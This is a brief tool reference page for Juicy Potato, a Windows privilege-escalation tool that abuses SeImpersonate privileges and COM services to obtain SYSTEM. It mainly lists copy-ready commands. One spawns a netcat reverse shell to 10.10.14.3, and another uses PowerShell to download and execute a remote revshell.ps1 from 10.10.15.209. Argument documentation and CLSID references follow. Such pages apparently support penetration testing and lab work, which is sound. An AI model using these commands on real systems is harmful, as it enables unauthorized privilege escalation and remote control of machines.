Table of Contents


Description

Juicy Potato is a Windows privilege escalation tool that exploits misconfigured Token Impersonation and COM services. It allows a user with “SeImpersonatePrivilege” or “SeAssignPrimaryTokenPrivilege” to impersonate NT AUTHORITY\SYSTEM, gaining higher access.

Command examples

.\JuicyPotato.exe -l 53375 -p c:\windows\system32\cmd.exe -a "/c c:\tools\nc.exe 10.10.14.3 443 -e cmd.exe" -t * -
.\JuicyPotato.exe -l 1337 -p "C:\Windows\System32\cmd.exe" -t *
.\JuicyPotato.exe -l 53375 -p "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -t * -c "{c980e4c2-c178-4572-935d-a8a429884806}" -a "-c IEX (New-Object Net.WebClient).DownloadString('http://10.10.15.209:1338/revshell.ps1')"

Mandatory arguments

-t createprocess call: t CreateProcessWithTokenW, u CreateProcessAsUser, * try both
-p: program to launch
-l: COM server listen port

Optional arguments

-m: COM server listen address (default 127.0.0.1)
-a: command line argument to pass to program (default NULL)
-k: RPC server ip address (default 127.0.0.1)
-n: RPC server listen port (default 135)
-c: CLSID (default BITS:{4991d34b-80a1-4291-83b6-3328366b9097})
-z: Only test CLSID and print token’s user

References

Here you can find a list of CLSIDs that can be used - https://ohpe.it/juicy-potato/CLSID/Windows_Server_2016_Standard/
There is also a great ps1 in juicypotato’s files named “GetCLSID.ps1” which looks for CLSID on the host itself.